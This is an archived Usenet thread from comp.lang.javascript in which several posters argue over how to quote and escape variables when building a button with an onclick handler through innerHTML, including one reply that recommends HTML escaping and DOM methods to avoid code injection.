>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>> wrote:
>>>>> > justaguy <> wrote:
>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>> > > cy...@example.com wrote:
>>>>> > >> var newFN = function(f,n) {
>>                               ^^^
>>>>> > >>   console.log(f,n);
>>>>> > >>   }
>>> […]
>>> This should work:
>>> 
>>> s2.innerHTML = "&nbsp;"
>>>   + fn +
>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>>   ^                               ^
>>> 'newFN(\""+fn+"\" + "+num+");'>";
>>                 ^^^^^^^^^^^^^^
>> It does not.  (The value of) “num” has to be (the value of) the *second*
>> argument to newFN().
> 
> It does work.

For suitable values of “work”.

> In javascript

There is no “javascript”.

> parameters default to undefined

In implementations of ECMAScript, the value of formal parameters for which 
no argument was passed usually defaults to the “undefined” value.

> so if newFN is called with only 1 argument then it will work

See above.

> and the second parameter will be set to undefined.

This is obviously not what the OP wants, so it is bad advice.

Get a (real) name, and stop misusing the example.com domain.

.
.
.
.
.

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#31844

From<cyber@example.com>
Date2016-12-13 19:43 +0000
Message-ID<ibY3A.365145$4Z7.313359@fx38.am4>
In reply to#31842
Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
> cyber@example.com wrote:
> 
>> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>>> cyber@example.com wrote:
>>>> justaguy <lichunshen84@gmail.com> wrote:
>>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>>> wrote:
>>>>>> > justaguy <> wrote:
>>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>>> > > cy...@example.com wrote:
>>>>>> > >> var newFN = function(f,n) {
>>>                               ^^^
>>>>>> > >>   console.log(f,n);
>>>>>> > >>   }
>>>> […]
>>>> This should work:
>>>> 
>>>> s2.innerHTML = "&nbsp;"
>>>>   + fn +
>>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>>>   ^                               ^
>>>> 'newFN(\""+fn+"\" + "+num+");'>";
>>>                 ^^^^^^^^^^^^^^
>>> It does not.  (The value of) “num” has to be (the value of) the *second*
>>> argument to newFN().
>> 
>> It does work.
> 
> For suitable values of “work”.

It produces the intended result without error in all major browsers.
That seems like a reasonable definition to me.

>> In javascript
> 
> There is no “javascript”.

Guess this room should be renamed to comp.lang.notjavascript then.

>> parameters default to undefined
> 
> In implementations of ECMAScript, the value of formal parameters for which 
> no argument was passed usually defaults to the “undefined” value.

The author his code is likely meant for browsers.
This means that talking about implementations of ECMAScript in general
might not be as relevant to him as talking about Javascript as implemented
in the major browsers is.

>> and the second parameter will be set to undefined.
> 
> This is obviously not what the OP wants, so it is bad advice.
> 
He edited my code to pass 1 argument instead of 2 which made me think that
he changed his mind and now only wanted to pass 1 argument instead of 2.
And since we do not know what he wants to do with this (newFN seems to
be a mere placeholder for testing purposes) it really is not that obvious what
he wants.

[toc] | [prev] | [next] | [standalone]

#31849

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-14 12:24 +0100
Message-ID<20318636.6Emhk5qWAg@PointedEars.de>
In reply to#31844
cyber@example.com wrote:

> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>> cyber@example.com wrote:
>>> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>>>> cyber@example.com wrote:
>>>>> justaguy <lichunshen84@gmail.com> wrote:
>>>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>>>> wrote:
>>>>>>> > justaguy <> wrote:
>>>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>>>> > > cy...@example.com wrote:
>>>>>>> > >> var newFN = function(f,n) {
>>>>                               ^^^
>>>>>>> > >>   console.log(f,n);
>>>>>>> > >>   }
>>>>> […]
>>>>> This should work:
>>>>> 
>>>>> s2.innerHTML = "&nbsp;"
>>>>>   + fn +
>>>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>>>>   ^                               ^
>>>>> 'newFN(\""+fn+"\" + "+num+");'>";
>>>>                 ^^^^^^^^^^^^^^
>>>> It does not.  (The value of) “num” has to be (the value of) the
>>>> *second* argument to newFN().
>>> It does work.
>> For suitable values of “work”.
> 
> It produces the intended result without error in all major browsers.

It does not.

|  Intention:
|  for the s.innerHTML to have a button, with a "+" value/sign, upon click 
|  of which, it loads a function named "newFN" with two parameters
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>>> In javascript
>> There is no “javascript”.
> 
> Guess this room should be renamed to comp.lang.notjavascript then.

Fool, this is not an (Web/Internet [relay] chat) room, it is a Usenet 
newsgroup.

As for “javascript”, see my sig.
 
>>> parameters default to undefined
>> In implementations of ECMAScript, the value of formal parameters for
>> which no argument was passed usually defaults to the “undefined” value.
> 
> The author his code is likely meant for browsers.
> This means that talking about implementations of ECMAScript in general
> might not be as relevant to him as talking about Javascript as implemented
> in the major browsers is.

My point was your wrong, wannabe terminology.

> He edited my code to pass 1 argument instead of 2 which made me think that
> he changed his mind and now only wanted to pass 1 argument instead of 2.
> And since we do not know what he wants to do with this (newFN seems to
> be a mere placeholder for testing purposes) it really is not that obvious 
> what he wants.

The record shows, and this thread shows it again, that the OP does not know 
what the heck they are doing.  Neither do you.  It is very obviously cargo 
cult programming at best.

As I have showed, string concatenation to build markup from variable values 
is _not_ how this is done properly with regard to maintainability, runtime 
efficiency, and security, to name just the most important aspects.  And, for 
sure, the values that are displayed to the user certainly should not 
coincide with the values used internally, so, missing HTML escaping aside, 
using “fn” in those two places is *wrong*.

Your concluding that the OP’s unexplained omission constitutes a change of 
mind is far-fetched, to say the least.

 
Does it require a formal complaint to your service provider before you stop 
abusing the example.com documentation domain?

Does it require lots of people to killfile you before you get yourself a 
(real) name?

Or can you, perhaps, just FOAD, before you spread further wannabe nonsense?  
Because we really do not need yet another one of you.  TIA.

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#31845

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-13 17:07 -0800
Message-ID<939250b7-74e9-4260-941d-90d97581397d@googlegroups.com>
In reply to#31832
On Tuesday, December 13, 2016 at 6:50:01 AM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> > On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
> >> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> >> > justaguy <> wrote:
> >> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> >> > >> justaguy <> wrote:
> >> > >> > 
> >> > >> > HTML:
> >> > >> > <html>
> >> > >> > <body>
> >> > >> > <span id="nav"></span>
> >> > >> > </body>
> >> > >> > </html>
> >> > >> > 
> >> > >> > JavaScript:
> >> > >> > <script>
> >> > >> > 
> >> > >> > var s = document.getElementById('nav'),
> >> > >> >         num = 0,
> >> > >> >         fn = " a new field name ";      
> >> > >> > /* in my actual code, the var s represent an element dynamically created
> >> > >> > but to get key point across I'm using static element here
> >> > >> > */  
> >> > >> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >> > >> > 
> >> > >> > var newFN = function(f,n) {
> >> > >> >         console.log(f,n);
> >> > >> >         }       
> >> > >> >         
> >> > >> >  </script>
> >> > >> >  
> >> > >> >  Intention:
> >> > >> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >> > >> > 
> >> > >> >  Problem:
> >> > >> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >> > >> >  
> >> > >> >  Thanks.
> >> > >> 
> >> > >> This should work:
> >> > >> 
> >> > >> <html>
> >> > >> <body>
> >> > >> <span id="nav"></span>
> >> > >> <script>
> >> > >> 
> >> > >> var s = document.getElementById('nav'),
> >> > >>   num = 0,
> >> > >>   fn = " a new field name ";
> >> > >> /* in my actual code, the var s represent an element dynamically created
> >> > >> but to get key point across I'm using static element here
> >> > >> */
> >> > >> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> >> > >> 
> >> > >> var newFN = function(f,n) {
> >> > >>   console.log(f,n);
> >> > >>   }
> >> > >> 
> >> > >>  </script>
> >> > >> 
> >> > >> </body>
> >> > >> </html>
> >> > > 
> >> > > Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.
> >> > > 
> >> > 
> >> > This should pass the num variable:
> >> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
> >> 
> >> Somehow I missed your response.
> >> 
> >> Yeah, it does, but with the + sign in front of it.  And I removed it, so, the code is now:
> >> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
> >> 
> >> It works perfectly.  Thank you.
> > 
> > Ok, now I have a new requirement, that is, to add an ID to the button.
> > the value of the ID is made of a string and a number.
> > 
> > The following code still hasn't escaped some quotes.  How to fix it?  Thanks.
> > 
> > var s2;
> > s2 = "&nbsp;" 
> >      + fn +  
> >      " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; 
> 
> This should work:
> 
> s2.innerHTML = "&nbsp;"
>   + fn +
> 	" <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
> 
> If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
> interpreted as a variable.
> And num and the + operator should be outside the quotes since num is meant to be a variable and +
> is meant to be the concatenation operator, but if you put them between quotes they will just be
> seen as being the strings "num" and "+" respectively.
> 
> BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.

Yeah, perfect.  This technique of inserting two double quotes inside single quotes for the num var value really does the trick, id='NewEl"+num+"'
Many thanks.

[toc] | [prev] | [next] | [standalone]

#31823

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-12 21:19 +0100
Message-ID<1671655.6tgchFWduM@PointedEars.de>
In reply to#31816
cyber@example.com wrote:
^^^^^^^^^^^^^^^^^
The From header field of your postings so far is disregarding Netiquette.  
Internet is the thing with cables; Usenet is the thing with *people*.

Also, the address part of the From header field of your postings so far
is violating RFC 5536, § 3.1.2 [1] and disregarding RFC 2606, § 2 [2].  
Otherwise it would have been possible to notify you of your first mistake 
via e-mail [3].

Scorefile adjusted accordingly.

_______
[1] <https://tools.ietf.org/html/rfc5536#section-3.1.2>
[2] <https://tools.ietf.org/html/rfc2606#section-2>
[3] <http://www.interhack.net/pubs/munging-harmful/>

> var s = document.getElementById('nav'),
>   num = 0,
>   fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick =
> 'newFN(\""+fn+" + \", \"+num+\");'>";

The "field name" does not belong in the attribute value, and in a *single*-
quoted string literal *double*-quotes do _not_ need to be escaped (and vice-
versa).  Because “num” and “fn” are global, they can be used as-is.  
However, the expanded value of “fn” needs to escaped to avoid code 
injection:

  s.innerHTML = "&nbsp;"
    + fn.replace(/&/g, "&amp;").replace(/</g, "&lt;")
    + " <input type='button' value='x' onclick='newFN(fn, num);'>";

But if one insists that the expansions be in the attribute value, they must 
be escaped, too:

  String.prototype.escapeHTML = function () {
    return this
     .replace(/&/g, "&amp;")
     .replace(/</g, "&lt;")
     .replace(/"/g, "\\$&");
  };

  fn = fn.escapeHTML();
  num = num.escapeHTML();
 
This is another reason why it is a bad idea to access the “innerHTML” 
property this way.  The proper way does not require escaping:

  /* standards-compliant */
  while (s.lastChild) s.removeChild(s.lastChild);

  /* proprietary */
  s.innerHTML = "";

  /* all */
  s.appendChild(document.createTextNode("\u00a0 " + fn + " ");

  var input = document.createElement("input");

  /* ECMAScript 2016 */
  Object.assign(input, {
    type: "button",
    value: "x",
    onclick: function () { newFN(fn, num); }
  });

  /* other */
  input.type = "button";
  input.value = "x";
  input.onclick = function () { newFN(fn, num); };

  /* all */
  s.appendChild(input);

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

Page 1 of 2  [1] 2  Next page →

Back to top | Article view | comp.lang.javascript

csiph-web